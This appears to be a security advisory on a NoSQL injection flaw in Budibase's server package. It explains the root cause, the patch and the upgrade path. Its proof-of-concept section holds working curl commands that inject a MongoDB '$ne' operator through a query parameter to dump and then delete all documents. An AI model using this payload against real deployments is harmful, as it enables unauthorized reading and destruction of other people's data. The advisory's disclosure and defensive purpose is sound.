high · 8.3Jul 24, 2026

@budibase/server NoSQL Injection via MongoDB Query Parameter Interpolation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in how Budibase builds MongoDB queries lets any app user inject JSON operators into a query parameter, bypassing filters to read, modify, or delete arbitrary documents in the database.

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
@budibase/server NoSQL Injection via MongoDB Query Parameter Interpolation

The problem

The enrichContext() function in packages/server/src/sdk/workspace/queries/queries.ts interpolates user-supplied parameter values directly into a raw JSON query string using Handlebars with noEscaping: true, then passes the result to JSON.parse().

The only upstream guard, validateQueryInputs(), blocks Handlebars syntax ({{}}) but ignores JSON structural characters like ", {, and }. A regular app user holding QUERY WRITE permission can therefore reshape the parsed filter object and send it straight to collection.find(), collection.updateMany(), or collection.deleteMany() with no further sanitization.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

bash
# Saved query template on the server:
# { "username": "{{username}}" }
#
# Step 1: authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"appuser@example.com","password":"password"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: inject to dump all documents
# injected value:  ", "$ne": "
# resulting query: {"username": "", "$ne": ""}
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns all documents where username is not empty

# Step 3: delete all documents via a delete-type query
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter

The parameter value ", "$ne": " closes the intended string value early and appends a new key-value pair. After Handlebars substitution with noEscaping: true, the template {"username": "{{username}}"} becomes {"username": "", "$ne": ""}, which JSON.parse() accepts as a valid object.

That object flows unchanged into the MongoDB driver, so the $ne operator matches every document where username is not an empty string.

The fix in commit 2d6c1d17 adds an escapeJsonValue() helper that escapes backslashes and double-quotes in parameter values before interpolation, so injected metacharacters can no longer break out of their string context. This is a classic CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) pattern: validation and interpolation operated on different threat models.

The fix

Upgrade @budibase/server to **3.39.9** or later (patch commit 2d6c1d17cff8a653adbb2f9003eda9de38c7670f, PR #18907). The fix escapes \ and " in every parameter value before Handlebars interpolation, preventing structural injection into the JSON template.

As a defense-in-depth measure, also consider adding Joi schema validation to the POST /api/v2/queries/:queryId execute endpoint, consistent with the validation already present on the save and preview endpoints.

Reporter not attributed.

References: [1][2][3][4][5]

Related research